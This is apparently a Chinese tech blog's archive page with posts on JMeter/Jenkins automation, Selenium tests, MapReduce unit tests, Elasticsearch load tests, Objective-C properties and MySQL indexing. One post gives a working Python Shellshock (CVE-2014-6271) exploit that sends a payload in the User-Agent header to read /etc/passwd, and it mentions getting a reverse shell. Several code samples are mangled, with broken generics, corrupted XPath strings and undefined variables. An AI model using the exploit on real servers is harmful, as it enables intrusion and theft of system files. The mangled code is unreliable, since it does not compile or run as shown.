qileilove

          blog已經轉移至github,大家請訪問 http://qaseven.github.io/

          Jenkins+Ant+Jmeter自動化性能測試平臺

           Jmeter性能測試的工具,java編寫、開源,小巧方便,可以圖形界面運行也可以在命令行下運行。網上已經有人使用ant來運行,,既然可以使用ant運行,那和hudson、jenkins集成就很方便了,而且jenkins上也有相應的插件Performance Plugin,可以自動收集jmeter的測試結果,展示出來。
            首先去下載jmeter,在2.8版本中測試通過,2.9版本測試未通過。下載ant-jmeter-1.1.1.jar放在jmeter主目錄lib文件夾下。
            下載需要的ant包,包含配置文件和一些jar包。里面的build.xml是配置文件,可以自定義。需要修改其中jmeter路徑,然后直接ant運行即可。 
          <?xml version="1.0" encoding="utf-8"?>
          <project default="all">
          <!-- Define your Jmeter Home & Your Report Title & Interval Time Between Test-->
          <property name="report.title" value="WebLoad Test Report"/>
          <property name="jmeter-home" location="D:\work\apache-jmeter-2.8" />
          <property name = "interval-time-in-seconds" value ="10"/>
          <!-- default path config, you can modify for your own requirement;Generally, you do not need to modify -->
          <property environment="env" />
          <property name="runremote" value="false"/>
          <property name="resultBase" value="results"/>
          <property name="results.jtl" value="jtl"/>
          <property name="results.html" value ="html"/>
          <property name="jmxs.dir"  value= "jmxs"/>
          <tstamp><format property="report.datestamp" pattern="yyyy-MM-dd-HH-mm-ss"/></tstamp>
          <property name="time" value="${report.datestamp}"/>
          <!--  Diffrent version of Jmeter has its own ant-jmeter.jar,Please input the right versioin -->
          <path id="ant.jmeter.classpath">
          <pathelement location="${jmeter-home}/lib/ant-jmeter-1.1.1.jar" />
          </path>
          <taskdef name="jmeter"
          classname="org.programmerplanet.ant.taskdefs.jmeter.JMeterTask"
          classpathref="ant.jmeter.classpath" />
          <!-- just to support foreach by ant -->
          <taskdef resource="net/sf/antcontrib/antcontrib.properties" >
          <classpath>
          <pathelement location="./libs/ant-contrib-20020829.jar" />
          </classpath>
          </taskdef>
          <!-- use this config to generate html report; if not, may not display Min/Max Time in html-->
          <path id="xslt.classpath">
          <fileset dir="./libs" includes="xalan-2.7.1.jar"/>
          <fileset dir="./libs" includes="serializer-2.9.1.jar"/>
          </path>
          <!--運行之前首先創建臨時結果文件夾-->
          <target name="create-folder">
          <delete dir="${resultBase}/temp"/>
          <mkdir dir="${resultBase}/temp/${results.jtl}" />
          <mkdir dir="${resultBase}/temp/${results.html}" />
          </target>
          <target name="all-test" depends="create-folder">
          <foreach  param="jmxfile" target="test" >
          <fileset dir="${jmxs.dir}">
          <include name="*.jmx" />
          </fileset>
          </foreach>
          </target>
          <target name="test" >
          <basename property="jmx.filename" file="${jmxfile}" suffix=".jmx"/>
          <echo message="---------- Processing ${jmxfile} -----------"/>
          <echo message="resultlogdir===${resultBase}/temp/${results.jtl}"/>
          <jmeter jmeterhome="${jmeter-home}" resultlogdir="${resultBase}/temp/${results.jtl}" runremote="${runremote}" resultlog="${jmx.filename}.jtl"
          testplan="${jmxs.dir}/${jmx.filename}.jmx">
          <jvmarg value="-Xincgc"/>
          <jvmarg value="-Xms1024m"/>
          <jvmarg value="-Xm1024m"/>
          </jmeter>
          <sleep seconds="20"></sleep>
          <!--Generate html report-->
          <xslt   in="${resultBase}/temp/${results.jtl}/${jmx.filename}.jtl"
          out="${resultBase}/temp/${results.html}/${jmx.filename}.html"  classpathref="xslt.classpath"
          style="${jmeter-home}/extras/jmeter-results-report_21.xsl" >
          <param name="dateReport" expression="${report.datestamp}"/>
          <param name="showData" expression="n"/>
          <param name="titleReport" expression="${report.title}:[${jmx.filename}]"/>
          </xslt>
          <echo message="Sleep ${interval-time-in-seconds} Seconds, and then start next Test; Please waiting ......"/>
          <sleep seconds="${interval-time-in-seconds}"></sleep>
          </target>
          <target name="copy-images" depends="all-test">
          <copy file="${jmeter-home}/extras/expand.png" tofile="${results.html}/expand.png"/>
          <copy file="${jmeter-home}/extras/collapse.png" tofile="${results.html}/collapse.png"/>
          <copydir src="${resultBase}/temp" dest="${resultBase}/${report.datestamp}"/>
          <delete dir="${resultBase}/temp"/>
          </target>
          <target name="all" depends="all-test, copy-images" />
          </project>
            jmxs文件夾存放jmeter腳本,ant會順序執行其中的腳本,執行結果會放在results文件夾中,包含統計的html文件和jmeter的請求詳細jtl文件。
            最后和jenkins集成,搭建jenkins環境,安裝Performance Plugin插件,新建一個job,選擇目標機器(機器上要有ant),填好svn或者cvs、定時執行、構建命令等。在Add post-build action中可以添加一個Publish Performance test result report用來收集jmeter測試結果,選擇就meter,然后在Report files中填寫**/*.jtl即可。

          posted @ 2014-11-26 14:22 順其自然EVO 閱讀(2170) | 評論 (0)編輯 收藏

          Selenium之利用Excel實現參數化

           說明:我是通過Workbook方式來讀取excel文件的,這次以登陸界面為例
            備注:使用Workbook讀取excel文件,前提是excel需要2003版本,其他版本暫時不支持
            具體步驟:
            第一步:新建一個excel文件,并且輸入數據內容
            第二步:在eclipse中新建一個java class,編寫獲取excel文件的代碼
            CODE:
          import java.io.File;
          import java.io.IOException;
          import java.util.ArrayList;
          import java.util.List;
          import jxl.Sheet;
          import jxl.Workbook;
          /*
          * 獲取Excel文件的內容,使用Workbook方式來讀取excel
          */
          public class ExcelWorkBook {
          //利用list集合來存放數據,其類型為String
          private List<string> list=new ArrayList</string><string>();
          //通過Workbook方式來讀取excel
          Workbook book;
          String username;
          /*
          * 獲取excel文件第一列的值,這里取得值為username
          */
          public List</string><string> readUsername(String sourceString) throws IOException,Exception{
          List</string><string> userList = new ArrayList</string><string>();
          try {
          Workbook book =Workbook.getWorkbook(new File(sourceFile));
          Sheet sheet=book.getSheet(0);
          //獲取文件的行數
          int rows=sheet.getRows();
          //獲取文件的列數
          int cols=sheet.getColumns();
          //獲取第一行的數據,一般第一行為屬性值,所以這里可以忽略
          String col1=sheet.getCell(0,0).getContents().trim();
          String col2=sheet.getCell(1,0).getContents().trim();
          System.out.println(col1+","+col2);
          //把第一列的值放在userlist中
          for(int z=1;z<rows ;z++){
          String username=sheet.getCell(0,z).getContents();
          userList.add(username);
          }
          } catch (Exception e) {
          e.printStackTrace();
          }
          //把獲取的值放回出去,方便調用
          return userList;
          }
          /*
          * 獲取excel文件第二列的值,這里取得值為password
          */
          public List<String> readPassword(String sourceString) throws IOException,Exception{
          List<string> passList = new ArrayList</string><string>();
          try {
          Workbook book =Workbook.getWorkbook(new File(sourceFile));
          Sheet sheet=book.getSheet(0);
          int rows=sheet.getRows();
          for(int z=1;z<rows ;z++){
          String password=sheet.getCell(1,z).getContents();
          passList.add(password);
          }
          } catch (Exception e) {
          e.printStackTrace();
          }
          return passList;
          }
          public List<String> getList(){
          return list;
          }
          }
           第三步:新建一個TestNg Class,把excel數據填寫到測試界面,具體代碼如下:
            CODE:
          import java.io.File;
          import java.util.List;
          import java.util.concurrent.TimeUnit;
          import org.openqa.selenium.By;
          import org.openqa.selenium.WebDriver;
          import org.openqa.selenium.WebElement;
          import org.openqa.selenium.firefox.FirefoxDriver;
          import org.openqa.selenium.firefox.FirefoxProfile;
          import org.testng.annotations.BeforeClass;
          import org.testng.annotations.Test;
          import File.ExcelWorkBook;
          public class LoginCenter {
          private WebDriver driver;
          private String url;
          String sourceFile="你文件的路徑和文件名稱";
          @BeforeClass
          public void testBefore(){
          //設置firefox瀏覽器
          FirefoxProfile file=new FirefoxProfile(new File("C:\\Users\\qinfei\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\t5ourl6s.selenium"));
          driver=new FirefoxDriver(file);
          url="你的測試地址";
          }
          @Test
          public void login() throws Exception{
          //初始化ExcelWorkBook Class
          ExcelWorkBook excelbook=new ExcelWorkBook();
          //進入到你的測試界面
          driver.get(url);
          driver.manage().timeouts().implicitlyWait(30,TimeUnit.SECONDS);
          try{
          //把取出的username放在userlist集合里面
          List<string> userList=excelbook.readUsername(sourceFile);
          //把取出的password放在passlist集合里面
          List</string><string> passList=excelbook.readPassword(sourceFile);
          //把取出來的值,輸入到界面的輸入框中
          int usersize=userList.size();
          for(int i=0;i<usersize ;i++){
          //通過css定位到username輸入框
          WebElement username=driver.findElement(By.cssSelector("input[name=\"j_username\"]"));
          //通過css定位到password輸入框
          WebElement password=driver.findElement(By.cssSelector("input[name=\"j_password\"]"));
          //通過xpath定位登錄按鈕
          WebElement submit=driver.findElement(By.xpath("http://button//span[contains(text(),'登錄')]"));
          //清除username輸入框的內容
          username.clear();
          //把list中數據一個一個的取出來
          String name=userList.get(i);
          //然后填寫到username輸入框
          username.sendKeys(name);
          for(int j=0;j<passList.size();j++){
          password.clear();
          String pass=passList.get(j);
          password.sendKeys(pass);
          }
          //點擊登錄按鈕
          submit.click();
          driver.manage().timeouts().implicitlyWait(30,TimeUnit.SECONDS);
          //通過xpath定位登出按鈕
          WebElement logoutButton=driver.findElement(By.xpath("http://button//span[contains(text(),'登出')]"));
          logoutButton.click();
          driver.manage().timeouts().implicitlyWait(30,TimeUnit.SECONDS);
          }
          }catch(Exception e){
          e.printStackTrace();
          }
          }
          }

          posted @ 2014-11-26 14:21 順其自然EVO 閱讀(5706) | 評論 (0)編輯 收藏

          Bash遠程命令執行漏洞(CVE-2014-6271)分析利用

           這幾天Bash被爆存在遠程命令執行漏洞(CVE-2014-6271),昨天參加完isc,晚上回家測試了一下,寫了個python版本的測試小基本,貼上代碼:
          #coding:utf-8
          import urllib,httplib
          import sys,re,urlparse
          #author:nx4dm1n
          #website:www.nxadmin.com
          def bash_exp(url):
          urlsp=urlparse.urlparse(url)
          hostname=urlsp.netloc
          urlpath=urlsp.path
          conn=httplib.HTTPConnection(hostname)
          headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}
          conn.request("GET",urlpath,headers=headers)
          res=conn.getresponse()
          res=res.getheaders()
          for passwdstr in res:
          print passwdstr[0]+':'+passwdstr[1]
          if __name__=='__main__':
          #帶http
          if len(sys.argv)<2:
          print "Usage: "+sys.argv[0]+"www.nxadmin.com/cgi-bin/index.cgi"
          sys.exit()
          else:
          bash_exp(sys.argv[1])
            腳本執行效果如圖所示:
            bash命令執行
            也可以用burp進行測試。
            利用該漏洞其實可以做很多事情,寫的python小腳本只是執行了cat /etc/passwd。可以執行反向鏈接的命令等,直接獲取一個shell還是有可能的。不過漏洞存在的條件也比較苛刻,測試找了一些,發現了很少幾個存在漏洞。

          posted @ 2014-11-26 14:20 順其自然EVO 閱讀(539) | 評論 (0)編輯 收藏

          對Mapreduce代碼進行單元測試

           hadoop自帶一個wordcount的示例代碼,用于計算單詞個數。我將其單獨移出來,測試成功。源碼如下:
          package org.apache.hadoop.examples;
          import java.io.IOException;
          import java.util.StringTokenizer;
          import org.apache.hadoop.conf.Configuration;
          import org.apache.hadoop.fs.Path;
          import org.apache.hadoop.io.IntWritable;
          import org.apache.hadoop.io.Text;
          import org.apache.hadoop.mapreduce.Job;
          import org.apache.hadoop.mapreduce.Mapper;
          import org.apache.hadoop.mapreduce.Reducer;
          import org.apache.hadoop.mapreduce.lib.input.FileInputFormat;
          import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat;
          import org.apache.hadoop.util.GenericOptionsParser;
          public class WordCount {
          public static class TokenizerMapper
          extends Mapper{
          private final static IntWritable one = new IntWritable(1);
          private Text word = new Text();
          public void map(Object key, Text value, Context context
          ) throws IOException, InterruptedException {
          StringTokenizer itr = new StringTokenizer(value.toString());
          while (itr.hasMoreTokens()) {
          word  = new Text(itr.nextToken()); //to unitest,should be new Text word.set(itr.nextToken())
          context.write(word, new IntWritable(1));
          }
          }
          }
          public static class IntSumReducer
          extends Reducer {
          private IntWritable result = new IntWritable();
          public void reduce(Text key, Iterable values,
          Context context
          ) throws IOException, InterruptedException {
          int sum = 0;
          for (IntWritable val : values) {
          sum += val.get();
          }
          result.set(sum);
          context.write(key, result);
          }
          }
          public static void main(String[] args) throws Exception {
          Configuration conf = new Configuration();
          String[] otherArgs = new GenericOptionsParser(conf, args).getRemainingArgs();
          if (otherArgs.length != 2) {
          System.err.println("Usage: wordcount  ");
          System.exit(2);
          }
          Job job = new Job(conf, "word count");
          job.setJarByClass(WordCount.class);
          job.setMapperClass(TokenizerMapper.class);
          job.setCombinerClass(IntSumReducer.class);
          job.setReducerClass(IntSumReducer.class);
          job.setOutputKeyClass(Text.class);
          job.setOutputValueClass(IntWritable.class);
          FileInputFormat.addInputPath(job, new Path(otherArgs[0]));
          FileOutputFormat.setOutputPath(job, new Path(otherArgs[1]));
          System.exit(job.waitForCompletion(true) ? 0 : 1);
          }
          }
           現在我想對其進行單元測試。一種方式,是job執行完了后,讀取輸出目錄中的文件,確認計數是否正確。但這樣的情況如果失敗,也不知道是哪里失敗。我們需要對map和reduce單獨進行測試。
            tomwhite的書《hadoop權威指南》有提到如何用Mockito進行單元測試,我們依照原書對溫度的單元測試來對wordcount進行單元測試。(原書第二版的示例已經過時,可以參考英文版第三版或我的程序)。
          package org.apache.hadoop.examples;
          /* author zhouhh
          * date:2012.8.7
          */
          import static org.mockito.Mockito.*;
          import java.io.IOException;
          import java.util.ArrayList;
          import java.util.List;
          import org.apache.hadoop.io.*;
          import org.junit.*;
          public class WordCountTest {
          @Test
          public  void testWordCountMap() throws IOException, InterruptedException
          {
          WordCount w = new WordCount();
          WordCount.TokenizerMapper mapper = new WordCount.TokenizerMapper();
          Text value = new Text("a b c b a a");
          @SuppressWarnings("unchecked")
          WordCount.TokenizerMapper.Context context = mock(WordCount.TokenizerMapper.Context.class);
          mapper.map(null, value, context);
          verify(context,times(3)).write(new Text("a"), new IntWritable(1));
          verify(context).write(new Text("c"), new IntWritable(1));
          //verify(context).write(new Text("cc"), new IntWritable(1));
          }
          @Test
          public void testWordCountReduce() throws IOException, InterruptedException
          {
          WordCount.IntSumReducer reducer = new WordCount.IntSumReducer();
          WordCount.IntSumReducer.Context context = mock(WordCount.IntSumReducer.Context.class);
          Text key = new Text("a");
          List values = new ArrayList();
          values.add(new IntWritable(1));
          values.add(new IntWritable(1));
          reducer.reduce(key, values, context);
          verify(context).write(new Text("a"), new IntWritable(2));
          }
          public static void main(String[] args) {
          // try {
          // WordCountTest t = new WordCountTest();
          //
          // //t.testWordCountMap();
          // t.testWordCountReduce();
          // } catch (IOException e) {
          // // TODO Auto-generated catch block
          // e.printStackTrace();
          // } catch (InterruptedException e) {
          // // TODO Auto-generated catch block
          // e.printStackTrace();
          // }
          }
          }
            verify(context)只檢查一次的寫,如果多次寫,需用verify(contex,times(n))檢查,否則會失敗。
            執行時在測試文件上點run as JUnit Test,會得到測試結果是否通過。
            本示例程序在hadoop1.0.3環境中測試通過。Mockito也在hadoop的lib中自帶,打包在mockito-all-1.8.5.jar

          posted @ 2014-11-26 14:19 順其自然EVO 閱讀(311) | 評論 (0)編輯 收藏

          移動性能測試初探

          說實在的我是不想現在說太多,這樣我覺得我這個書寫的意義就不大了。索性不出版了...
            我上周幫助公司也做了一下app的性能測試,整個過程歷時一天半,當然僅僅是針對測試,燃燒了我大半小宇宙。
            首先現在移動應用的性能測試一般分成三種測試的方向,或許說是找基線的方向:
            1. 先對于競品進行測試,從而進行對比
            2. 經過測試,團隊討論得出一個大家認可的數據,從而變成基線
            3. 在系統,應用等限制中找到一個基線,打比方說比如某些應用的畫面需要60fps的幀率進行平滑的渲染等
            而無論是哪種得到數據并非非常容易,性能測試往往與應用邏輯,架構,業務牢牢的綁定。
            Android和ios的內存泄漏也許是很多人關心的一個方面。在此之前當然我們應該先進行靜態的代碼掃描,find bugs,lint,code Analysis等。內存泄漏其實并非一定有什么基線,在我看來每個不同類型的應用其基線可能都是不同的,然后內存泄漏現在常用的方法如下:
            1. 對應用進行”Cause GC”操作,查看object data的走勢,如該數值持續上漲說明有內存泄漏的可能。
            2. Android獲取hprof文件。其一,在進行壓測之后獲取hprof使用MAT進行分析。其二,可以在某些重要業務場景前后分別去Dump HPROF,從而對比前后某些對象是否有重復引用等
            3. ios的話要請教中國ios之父了...我目前還是只是用instruments自帶的一些工具在業務場景中進行查看。
            4. dumpsys也不失為一個比較簡單的方法,但是就是比較難定位問題在哪里
            當然我之前也一直推崇的systemtrace以及gnxinfo也是很不錯的性能測試工具。其運用在自己要測試的場景中就能夠得出很精準的數據,包括應用的啟動,包括繪制函數方法的耗時等,報告如下:
            其他也有電量,流量等,這類其實現在現成的測試app也有。我們自己要去寫個也不是什么難事,比如寫一個很傻的activity,然后啟動幾個監控的service就可以了。通過系統api都是能夠獲取到我們想要的數據的,當然百度等公司還是會用萬用表來進行電量測試,我表示我肯定做不到。部門代碼如下:
            當然我上周在做的時候,順便讓我們測試的同學把關鍵業務做了下,然后生成的code coverage報告也讓開發協助測試增加了很多有用的測試用例。這也是我覺得真心不錯的一個發展方向。

          posted @ 2014-11-26 14:17 順其自然EVO 閱讀(250) | 評論 (0)編輯 收藏

          針對Httptest4net構建Elasticsearch集群壓力測試用例

           httptest4net是可以自定義HTTP壓力測試的工具,用戶可以根據自己的情況編寫測試用例加載到httptest4net中并運行測試。由于最近需要對elasticsearch搜索集群進行一個不同情況的測試,所以針對這個測試寫了個簡單的測試用例。
            代碼
          1  [Test("ES base")]
          2     public class ES_SearchUrlTester : IUrlTester
          3     {
          4
          5         public ES_SearchUrlTester()
          6         {
          7
          8
          9         }
          10         public string Url
          11         {
          12             get;
          13             set;
          14         }
          15
          16
          17         static string[] urls = new string[] {
          18             "http://192.168.20.156:9200/gindex/gindex/_search",
          19             "http://192.168.20.158:9200/gindex/gindex/_search",
          20             "http://192.168.20.160:9200/gindex/gindex/_search" };
          21
          22         private static long mIndex = 0;
          23
          24         private static List<string> mWords;
          25
          26         protected static IList<string> Words()
          27         {
          28
          29             if (mWords == null)
          30             {
          31                 lock (typeof(ES_SearchUrlTester))
          32                 {
          33                     if (mWords == null)
          34                     {
          35                         mWords = new List<string>();
          36                         using (System.IO.StreamReader reader = new StreamReader(@"D:\main.dic"))
          37                         {
          38                             string line;
          39
          40                             while ((line = reader.ReadLine()) != null)
          41                             {
          42                                 mWords.Add(line);
          43                             }
          44                         }
          45                     }
          46                 }
          47             }
          48             return mWords;
          49         }
          50         /*
          51           {"query" :
          52     {
          53   "bool" : {
          54     "should" : [ {
          55       "field" : {
          56         "title" : "#key"
          57       }
          58     }, {
          59       "field" : {
          60         "kw" : "#key"
          61       }
          62     } ]
          63   }
          64     },
          65 from:0,
          66 size:10
          67 }
          68          */
          69         private static string GetSearchUrlWord()
          70         {
          71             IList<string> words= Words();
          72             System.Threading.Interlocked.Increment(ref mIndex);
          73             return Resource1.QueryString.Replace("#key", words[(int)(mIndex % words.Count)]);
          74         }
          75
          76         public System.Net.HttpWebRequest CreateRequest()
          77         {
          78             var httpWebRequest = (HttpWebRequest)WebRequest.Create(urls[mIndex%urls.Length]);
          79             httpWebRequest.ContentType = "application/json";
          80             httpWebRequest.KeepAlive = false;
          81             httpWebRequest.Method = "POST";
          82             string json = GetSearchUrlWord();
          83             using (var streamWriter = new StreamWriter(httpWebRequest.GetRequestStream()))
          84             {
          85
          86                 streamWriter.Write(json);
          87                 streamWriter.Flush();
          88             }
          89             return httpWebRequest;
          90
          91         }
          92
          93         public TestType Type
          94         {
          95             get
          96             {
          97                 return TestType.POST;
          98             }
          99         }
          100     }
           用例很簡單根據節點和關鍵字構建不同請求的URL和JSON數據包即可完成。把上面代碼編譯在DLL后放到httptest4net的運行目錄下即可以加載這用例并進行測試。
            測試情況

          posted @ 2014-11-26 14:16 順其自然EVO 閱讀(603) | 評論 (0)編輯 收藏

          IOS開發之property詳解

          之前很多網友對我翻譯的教程中的Property的使用感到有些迷惑不解,搞不清楚什么時候要release,什么時候要self.xxx = nil;同時對于Objective-c的內存管理以及cocos2d的內存管理規則不夠清楚。本文主要講解objc里面@property,它是什么,它有什么用,atomic,nonatomic,readonly,readwrite,assign,retain,copy,getter,setter這些關鍵字有什么用,什么時候使用它們。至于Objc的內存管理和cocos2d的內存管理部分,接下來,我會翻譯Ray的3篇教程,那里面再和大家詳細討論。今天我們的主要任務是搞定@property。
            學過c/c++的朋友都知道,我們定義struct/class的時候,如果把訪問限定符(public,protected,private)設置為public的話,那么我們是可以直接用.號來訪問它內部的數據成員的。比如
            //in Test.h
            class Test
            {
            public:
            int i;
            float f;
            };
            我在main函數里面是可以通過下面的方式來使用這個類的:(注意,如果在main函數里面使用此類,除了要包含頭文件以外,最重要的是記得把main.m改成main.mm,否則會報一些奇怪的錯誤。所以,任何時候我們使用c++,如果報奇怪的錯誤,那就要提醒自己是不是把相應的源文件改成.mm后綴了。其它引用此類的文件有時候也要改成.mm文件)
            //in main.mm
            Test test;
            test.i =1;
            test.f =2.4f;
            NSLog(@"Test.i = %d, Test.f = %f",test.i,  test.f);
            但是,在objc里面,我們能不能這樣做呢?請看下面的代碼:(新建一個objc類,命名為BaseClass)
            //in BaseClass.h
            @interface BaseClass : NSObject{
            @public
            NSString *_name;
            }
            接下來,我們在main.mm里面:
            BaseClass *base= [[BaseClass alloc] init];
            base.name =@"set base name";
            NSLog(@"base class's name = %@", base.name);
            不用等你編譯,xcode4馬上提示錯誤,請看截圖:
            請大家注意看出錯提示“Property 'nam' not found on object of type BaseClass*",意思是,BaseClass這類沒有一個名為name的屬性。即使我們在頭文件中聲明了@public,我們仍然無法在使用BaseClass的時候用.號來直接訪問其數據成員。而@public,@protected和@private只會影響繼承它的類的訪問權限,如果你使用@private聲明數據成員,那么在子類中是無法直接使用父類的私有成員的,這和c++,java是一樣的。
            既然有錯誤,那么我們就來想法解決啦,編譯器說沒有@property,那好,我們就定義property,請看代碼:
            //in BaseClass.h
            @interface BaseClass : NSObject{
            @public
            NSString *_name;
            }
            @property(nonatomic,copy) NSString *name;
            //in BaseClass.m
            @synthesize name = _name;
            現在,編譯并運行,ok,很好。那你可能會問了@prperty是不是就是讓”."號合法了呀?只要定義了@property就可以使用.號來訪問類的數據成員了?先讓我們來看下面的例子:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          //@property(nonatomic,copy) NSString *name;
          -(NSString*) name;
          -(void) setName:(NSString*)newName;
          我把@property的定義注釋掉了,另外定義了兩個函數,name和setName,下面請看實現文件:
          //@synthesize name = _name;
          -(NSString*) name{
          return _name;
          }
          -(void) setName:(NSString *)name{
          if (_name != name) {
          [_name release];
          _name = [name copy];
          }
          }
          現在,你再編譯運行,一樣工作的很好。why?因為我剛剛做的工作和先前聲明@property所做的工作完全一樣。@prperty只不過是給編譯器看的一種指令,它可以編譯之后為你生成相應的getter和setter方法。而且,注意看到面property(nonatomic,copy)括號里面這copy參數了嗎?它所做的事就是
            _name = [name copy];
            如果你指定retain,或者assign,那么相應的代碼分別是:
            //property(retain)NSString* name;
            _name = [name retain];
            //property(assign)NSString* name;
            _name = name;
            其它講到這里,大家也可以看出來,@property并不只是可以生成getter和setter方法,它還可以做內存管理。不過這里我暫不討論。現在,@property大概做了件什么事,想必大家已經知道了。但是,我們程序員都有一個坎,就是自己沒有完全吃透的東西,心里用起來不踏實,特別是我自己。所以,接下來,我們要詳細深挖@property的每一個細節。
            首先,我們看atomic 與nonatomic的區別與用法,講之前,我們先看下面這段代碼:
            @property(nonatomic, retain) UITextField *userName;    //1
            @property(nonatomic, retain,readwrite) UITextField *userName;  //2
            @property(atomic, retain) UITextField *userName;  //3
            @property(retain) UITextField *userName;  //4
            @property(atomic,assign) int i;         // 5
            @property(atomic) int i;         //6
            @property int i;               //7
            請讀者先停下來想一想,它們有什么區別呢?
            上面的代碼1和2是等價的,3和4是等價的,5,6,7是等價的。也就是說atomic是默認行為,assign是默認行為,readwrite是默認行為。但是,如果你寫上@property(nontomic)NSString *name;那么將會報一個警告,如下圖:
            因為是非gc的對象,所以默認的assign修飾符是不行的。那么什么時候用assign、什么時候用retain和copy呢?推薦做法是NSString用copy,delegate用assign(且一定要用assign,不要問為什么,只管去用就是了,以后你會明白的),非objc數據類型,比如int,float等基本數據類型用assign(默認就是assign),而其它objc類型,比如NSArray,NSDate用retain。
            在繼續之前,我還想補充幾個問題,就是如果我們自己定義某些變量的setter方法,但是想讓編譯器為我們生成getter方法,這樣子可以嗎?答案是當然可以。如果你自己在.m文件里面實現了setter/getter方法的話,那以翻譯器就不會為你再生成相應的getter/setter了。請看下面代碼:
          //代碼一:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          @property(nonatomic,copy,readonly) NSString *name;  //這里使用的是readonly,所有會聲明geter方法
          -(void) setName:(NSString*)newName;
          //代碼二:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          @property(nonatomic,copy,readonly) NSString *name;   //這里雖然聲明了readonly,但是不會生成getter方法,因為你下面自己定義了getter方法。
          -(NSString*) name;   //getter方法是不是只能是name呢?不一定,你打開Foundation.framework,找到UIView.h,看看里面的property就明白了)
          -(void) setName:(NSString*)newName;
          //代碼三:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          @property(nonatomic,copy,readwrite) NSString *name;  //這里編譯器會我們生成了getter和setter
          //代碼四:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          @property(nonatomic,copy) NSString *name;  //因為readwrite是默認行為,所以同代碼三
            上面四段代碼是等價的,接下來,請看下面四段代碼:
          //代碼一:
          @synthesize name = _name;  //這句話,編譯器發現你沒有定義任何getter和setter,所以會同時會你生成getter和setter
          //代碼二:
          @synthesize name = _name;  //因為你定義了name,也就是getter方法,所以編譯器只會為生成setter方法,也就是setName方法。
          -(NSString*) name{
          NSLog(@"name");
          return _name;
          }
          //代碼三:
          @synthesize name = _name;   //這里因為你定義了setter方法,所以編譯器只會為你生成getter方法
          -(void) setName:(NSString *)name{
          NSLog(@"setName");
          if (_name != name) {
          [_name release];
          _name = [name copy];
          }
          }
          //代碼四:
          @synthesize name = _name;  //這里你自己定義了getter和setter,這句話沒用了,你可以注釋掉。
          -(NSString*) name{
          NSLog(@"name");
          return _name;
          }
          -(void) setName:(NSString *)name{
          NSLog(@"setName");
          if (_name != name) {
          [_name release];
          _name = [name copy];
          }
          }
            上面這四段代碼也是等價的。看到這里,大家對Property的作用相信會有更加進一步的理解了吧。但是,你必須小心,你如果使用了Property,而且你自己又重寫了setter/getter的話,你需要清楚的明白,你究竟干了些什么事。別寫出下面的代碼,雖然是合法的,但是會誤導別人:
          //BaseClass.h
          @interface BaseClass : NSObject{
          @public
          NSArray *_names;
          }
          @property(nonatomic,assgin,readonly) NSArray *names;  //注意這里是assign
          -(void) setNames:(NSArray*)names;
          //BaseClass.m
          @implementation BaseClass
          @synthesize names = _names;
          -(NSArray*) names{
          NSLog(@"names");
          return _names;
          }
          -(void) setNames:(NSArray*)names{
          NSLog(@"setNames");
          if (_name != name) {
          [_name release];
          _name = [name retain];  //你retain,但是你不覆蓋這個方法,那么編譯器會生成setNames方法,里面肯定是用的assign
          }
          }
            當別人使用@property來做內存管理的時候就會有問題了。總結一下,如果你自己實現了getter和setter的話,atomic/nonatomic/retain/assign/copy這些只是給編譯的建議,編譯會首先會到你的代碼里面去找,如果你定義了相應的getter和setter的話,那么好,用你的。如果沒有,編譯器就會根據atomic/nonatomic/retain/assign/copy這其中你指定的某幾個規則去生成相應的getter和setter。
            好了,說了這么多,回到我們的正題吧。atomic和nonatomic的作用與區別:
            如果你用@synthesize去讓編譯器生成代碼,那么atomic和nonatomic生成的代碼是不一樣的。如果使用atomic,如其名,它會保證每次getter和setter的操作都會正確的執行完畢,而不用擔心其它線程在你get的時候set,可以說保證了某種程度上的線程安全。但是,我上網查了資料,僅僅靠atomic來保證線程安全是很天真的。要寫出線程安全的代碼,還需要有同步和互斥機制。
            而nonatomic就沒有類似的“線程安全”(我這里加引號是指某種程度的線程安全)保證了。因此,很明顯,nonatomic比atomic速度要快。這也是為什么,我們基本上所有用property的地方,都用的是nonatomic了。
            還有一點,可能有讀者經常看到,在我的教程的dealloc函數里面有這樣的代碼:self.xxx = nil;看到這里,現在你們明白這樣寫有什么用了吧?它等價于[xxx release];  xxx = [nil retain];(---如果你的property(nonatomic,retian)xxx,那么就會這樣,如果不是,就對號入座吧)。
            因為nil可以給它發送任何消息,而不會出錯。為什么release掉了還要賦值為nil呢?大家用c的時候,都有這樣的編碼習慣吧。
            int* arr = new int[10];    然后不用的時候,delete arr; arr = NULL;  在objc里面可以用一句話self.arr = nil;搞定。

          posted @ 2014-11-24 10:03 順其自然EVO 閱讀(205) | 評論 (0)編輯 收藏

          Mysql數據庫服務器的CPU占用很高

           MySQl服務器CPU占用很高
            1.  問題描述
            一個簡單的接口,根據傳入的號段查詢號碼歸屬地,運行性能測試腳本,20個并發mysql的CPU就很高,監控發現只有一個select語句,且表建立了索引
            2.  問題原因
            查詢語句索引沒有命中導致
            開始時的select
          SELECT
          `province_name`,
          `city_name`
          FROM `phoneno_section`
          WHERE SUBSTRING(?, phoneno_section_len) = phoneno_section
          LIMIT ?
          咨詢說where中使用SUBSTRING函數不行,修改函數為LEFT,語句為
          SELECT
          `province_name`,
          `city_name`
          FROM `conf_phoneno_section`
          WHERE LEFT(?, phoneno_section_len) = phoneno_section
          LIMIT ?
            測試發現CPU占用還是很高,LEFT函數中的參數是變量不是常量,再次修改select語句,指定LEFT函數中的phoneno_section_len為固定值,CPU占用正常
            3.  MYSQL索引介紹
            ü  先舉個例子
            表a, 字段:  id(自增id),user(用戶名),pass(密碼),type(類型 0,1),
            索引: user + pass 建立聯合索引 ,user唯一索引,pass普通索引 ,type 普通索引
            ü  索引命中說明
            (1)SELECT   *   FROM   a  WHERE user = 't'  AND PASS = 'p'會命中user+pass的聯合索引
            (2)SQL:  SELECT   *   FROM   a  WHERE user = 't' OR user= 'f'  不能命中任何索引
            (3)SQL:  SELECT   *   FROM   a  WHERE user = 't'會命中user唯一索引
            (4)SQL:  SELECT   *   FROM   a  WHERE pass = 'p'   不能命中任何索引
